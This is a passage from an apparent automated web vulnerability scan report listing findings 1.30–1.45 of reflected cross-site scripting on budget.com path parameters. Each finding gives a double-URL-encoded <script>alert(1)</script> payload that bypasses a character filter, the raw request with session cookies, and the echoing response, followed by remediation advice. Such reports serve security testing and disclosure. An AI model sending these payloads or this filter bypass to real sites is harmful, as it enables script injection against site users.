Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 92
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:47:27 GMT
Connection: close
Set-Cookie: JSESSIONID=GSTQMGHT2lQ1vLGTvJB9CvNvYD8qt2hPfsfZtZGQVBJRzwSTGMwP!-736587193; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:47:26 GMT; path=/

Invalid path /locationsearch30123<script>alert(1)</script>4dfc819b010/location was requested

1.30. https://www.budget.com/budgetWeb/locationsearch/locationBrowse.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearch/locationBrowse.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e376d%253cscript%253ealert%25281%2529%253c%252fscript%253e621af7d2d91 was submitted in the REST URL parameter 2. This input was echoed as e376d<script>alert(1)</script>621af7d2d91 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearche376d%253cscript%253ealert%25281%2529%253c%252fscript%253e621af7d2d91/locationBrowse.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=GMnnMGGZfgTpZh7Www34ymtyhR24dSdbDGMnPrsG13TbJQs01mPG!844067018; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 98
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:01 GMT
Connection: close

Invalid path /locationsearche376d<script>alert(1)</script>621af7d2d91/locationBrowse was requested

1.31. https://www.budget.com/budgetWeb/locationsearch/locationbeforevalidation.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearch/locationbeforevalidation.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1ef5f%253cscript%253ealert%25281%2529%253c%252fscript%253e7c18d9c3ec4 was submitted in the REST URL parameter 2. This input was echoed as 1ef5f<script>alert(1)</script>7c18d9c3ec4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearch1ef5f%253cscript%253ealert%25281%2529%253c%252fscript%253e7c18d9c3ec4/locationbeforevalidation.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=P1mpMGGX7tBfpkR8ynk4pPydGQmmBLkKjhQ5NmkLGTrT2PMkRVbV!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDY1NTY0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 108
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:34 GMT
Connection: close

Invalid path /locationsearch1ef5f<script>alert(1)</script>7c18d9c3ec4/locationbeforevalidation was requested

1.32. https://www.budget.com/budgetWeb/locationsearch/locationlook.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearch/locationlook.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3b736%253cscript%253ealert%25281%2529%253c%252fscript%253e3a5dbd25cff was submitted in the REST URL parameter 2. This input was echoed as 3b736<script>alert(1)</script>3a5dbd25cff in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearch3b736%253cscript%253ealert%25281%2529%253c%252fscript%253e3a5dbd25cff/locationlook.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=5gRVMGGXSXN7Xq0vMZvWN6phhXJ2RSrvqnwR7zDRppY6dL8h22fs!-83250647; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 96
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:48:42 GMT
Connection: close

Invalid path /locationsearch3b736<script>alert(1)</script>3a5dbd25cff/locationlook was requested

1.33. https://www.budget.com/budgetWeb/locationsearch/maprefresh.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearch/maprefresh.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c9cde%253cscript%253ealert%25281%2529%253c%252fscript%253e65e5e8f842a was submitted in the REST URL parameter 2. This input was echoed as c9cde<script>alert(1)</script>65e5e8f842a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearchc9cde%253cscript%253ealert%25281%2529%253c%252fscript%253e65e5e8f842a/maprefresh.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=LxqmMGGYjB5zKSPGhPpLh1p109y148QkPd182ZlRsFySZb2BXVpk!844067018; CRAP=y; datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 94
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:48:11 GMT
Connection: close

Invalid path /locationsearchc9cde<script>alert(1)</script>65e5e8f842a/maprefresh was requested

1.34. https://www.budget.com/budgetWeb/locationsearch/pointsofinterest.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearch/pointsofinterest.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload bc98d%253cscript%253ealert%25281%2529%253c%252fscript%253e53a87505ffa was submitted in the REST URL parameter 2. This input was echoed as bc98d<script>alert(1)</script>53a87505ffa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearchbc98d%253cscript%253ealert%25281%2529%253c%252fscript%253e53a87505ffa/pointsofinterest.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=LxqmMGGYjB5zKSPGhPpLh1p109y148QkPd182ZlRsFySZb2BXVpk!844067018; CRAP=y; datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 100
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:48:08 GMT
Connection: close

Invalid path /locationsearchbc98d<script>alert(1)</script>53a87505ffa/pointsofinterest was requested

1.35. https://www.budget.com/budgetWeb/locationsearche376d%253cscript%253ealert%25281%2529%253c%252fscript%253e621af7d2d91/locationBrowse.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearche376d%253cscript%253ealert%25281%2529%253c%252fscript%253e621af7d2d91/locationBrowse.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 26be0%253cscript%253ealert%25281%2529%253c%252fscript%253eb251583c456 was submitted in the REST URL parameter 2. This input was echoed as 26be0<script>alert(1)</script>b251583c456 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearche376d%253cscript%253ealert%25281%2529%253c%252fscript%253e621af7d2d9126be0%253cscript%253ealert%25281%2529%253c%252fscript%253eb251583c456/locationBrowse.ex HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.budget.com
Connection: Keep-Alive
Cookie: datacenter=boulder; JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 139
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:56:38 GMT
Connection: keep-alive
Vary: Accept-Encoding

Invalid path /locationsearche376d<script>alert(1)</script>621af7d2d9126be0<script>alert(1)</script>b251583c456/locationBrowse was requested

1.36. https://www.budget.com/budgetWeb/profile/createRapidRez.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/createRapidRez.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ca025%253cscript%253ealert%25281%2529%253c%252fscript%253e0623125fd03 was submitted in the REST URL parameter 2. This input was echoed as ca025<script>alert(1)</script>0623125fd03 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profileca025%253cscript%253ealert%25281%2529%253c%252fscript%253e0623125fd03/createRapidRez.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.budget.com/budgetWeb/html/en/aboutus/jobs/index.html?ICID=sitemap&IID=jobs
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 91
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:21 GMT
Connection: close
Set-Cookie: JSESSIONID=F2TgMGLCtynN7v7m1CDLRZ2rhFP3mRtWX22v0nMD19qRjDlhG88c!455947420; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:49:22 GMT; path=/

Invalid path /profileca025<script>alert(1)</script>0623125fd03/createRapidRez was requested

1.37. https://www.budget.com/budgetWeb/profile/createRapidRezFB.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/createRapidRezFB.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d1567%253cscript%253ealert%25281%2529%253c%252fscript%253e7c35520f8d3 was submitted in the REST URL parameter 2. This input was echoed as d1567<script>alert(1)</script>7c35520f8d3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profiled1567%253cscript%253ealert%25281%2529%253c%252fscript%253e7c35520f8d3/createRapidRezFB.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=P1mpMGGX7tBfpkR8ynk4pPydGQmmBLkKjhQ5NmkLGTrT2PMkRVbV!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDYxMTY0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 93
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:10 GMT
Connection: close

Invalid path /profiled1567<script>alert(1)</script>7c35520f8d3/createRapidRezFB was requested

1.38. https://www.budget.com/budgetWeb/profile/fastbreak.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/fastbreak.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c7979%253cscript%253ealert%25281%2529%253c%252fscript%253eb39534f9f39 was submitted in the REST URL parameter 2. This input was echoed as c7979<script>alert(1)</script>b39534f9f39 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profilec7979%253cscript%253ealert%25281%2529%253c%252fscript%253eb39534f9f39/fastbreak.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.budget.com/budgetWeb/html/en/aboutus/jobs/index.html?ICID=sitemap&IID=jobs
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 86
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:17 GMT
Connection: close
Set-Cookie: JSESSIONID=FMJtMGHcGRp0qT1Nnz4TL11pMnSF1s3nYXLLzydZ7r2CQrsmRNkc!-83250647; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:49:16 GMT; path=/

Invalid path /profilec7979<script>alert(1)</script>b39534f9f39/fastbreak was requested

1.39. https://www.budget.com/budgetWeb/profile/findbcn.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/findbcn.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 13a2b%253cscript%253ealert%25281%2529%253c%252fscript%253ecdc838a8705 was submitted in the REST URL parameter 2. This input was echoed as 13a2b<script>alert(1)</script>cdc838a8705 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile13a2b%253cscript%253ealert%25281%2529%253c%252fscript%253ecdc838a8705/findbcn.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.budget.com/budgetWeb/html/en/aboutus/jobs/index.html?ICID=sitemap&IID=jobs
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 84
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:48:53 GMT
Connection: close
Set-Cookie: JSESSIONID=hn61MGHGGDWzg1D71y77qMcDLkgB0pYCdQ6tQpp2y8q6mbq2qdC9!-83250647; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:48:52 GMT; path=/

Invalid path /profile13a2b<script>alert(1)</script>cdc838a8705/findbcn was requested

1.40. https://www.budget.com/budgetWeb/profile/frequentrenter.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/frequentrenter.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 7008c%253cscript%253ealert%25281%2529%253c%252fscript%253e716aaadf796 was submitted in the REST URL parameter 2. This input was echoed as 7008c<script>alert(1)</script>716aaadf796 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile7008c%253cscript%253ealert%25281%2529%253c%252fscript%253e716aaadf796/frequentrenter.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 91
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:48:47 GMT
Connection: close
Set-Cookie: JSESSIONID=9ngLMGHpdZZ93lQygg1NPyFX2qWfZnyCLzxZm211qC6GphJcqphx!-83250647; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:48:46 GMT; path=/

Invalid path /profile7008c<script>alert(1)</script>716aaadf796/frequentrenter was requested

1.41. https://www.budget.com/budgetWeb/profile/logout.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/logout.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 338f3%253cscript%253ealert%25281%2529%253c%252fscript%253ebabf04da0b3 was submitted in the REST URL parameter 2. This input was echoed as 338f3<script>alert(1)</script>babf04da0b3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile338f3%253cscript%253ealert%25281%2529%253c%252fscript%253ebabf04da0b3/logout.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=95CE485638CBD704DE0C72B970DFFB28; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDY3NzY0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 83
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:51:37 GMT
Connection: close
Set-Cookie: JSESSIONID=3nh7MGLHBLKqZn0TJTF2rQvGgwQDH9xQS1ZrqvG9f0NVGSkS1chB!-83250647; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:51:35 GMT; path=/

Invalid path /profile338f3<script>alert(1)</script>babf04da0b3/logout was requested

1.42. https://www.budget.com/budgetWeb/profile/manageaccount.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/manageaccount.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2d7d4%253cscript%253ealert%25281%2529%253c%252fscript%253edf9de8ab23d was submitted in the REST URL parameter 2. This input was echoed as 2d7d4<script>alert(1)</script>df9de8ab23d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile2d7d4%253cscript%253ealert%25281%2529%253c%252fscript%253edf9de8ab23d/manageaccount.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=j1R4MGGZkHq9yWnHNp0FXw5nh9k27tyJ1KbPjGDxJslJWvQ0rd4R!455947420; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 90
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:06 GMT
Connection: close

Invalid path /profile2d7d4<script>alert(1)</script>df9de8ab23d/manageaccount was requested

1.43. https://www.budget.com/budgetWeb/profile/modifyRapidRez.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/modifyRapidRez.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 348e6%253cscript%253ealert%25281%2529%253c%252fscript%253ee6f16a30145 was submitted in the REST URL parameter 2. This input was echoed as 348e6<script>alert(1)</script>e6f16a30145 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile348e6%253cscript%253ealert%25281%2529%253c%252fscript%253ee6f16a30145/modifyRapidRez.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=jL22MGGZb3BymfbBVGNjSGfSRQyFJgtSXNpv4yrrLvvvjqL22D23!455947420; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 91
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:03 GMT
Connection: close

Invalid path /profile348e6<script>alert(1)</script>e6f16a30145/modifyRapidRez was requested

1.44. https://www.budget.com/budgetWeb/profile/modifyRapidRezFB.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/modifyRapidRezFB.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 19702%253cscript%253ealert%25281%2529%253c%252fscript%253e5db69e26cdd was submitted in the REST URL parameter 2. This input was echoed as 19702<script>alert(1)</script>5db69e26cdd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/profile19702%253cscript%253ealert%25281%2529%253c%252fscript%253e5db69e26cdd/modifyRapidRezFB.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=P1mpMGGX7tBfpkR8ynk4pPydGQmmBLkKjhQ5NmkLGTrT2PMkRVbV!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDYxMTY0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 93
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:04 GMT
Connection: close

Invalid path /profile19702<script>alert(1)</script>5db69e26cdd/modifyRapidRezFB was requested

1.45. https://www.budget.com/budgetWeb/profile/rapidrezlogin.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/profile/rapidrezlogin.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3e098%253cscript%253ealert%25281%2529%253c%252fscript%253eb37fdc2d414 was submitted in the REST URL parameter 2. This input was echoed as 3e098<script>alert(1)</script>b37fdc2d414 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

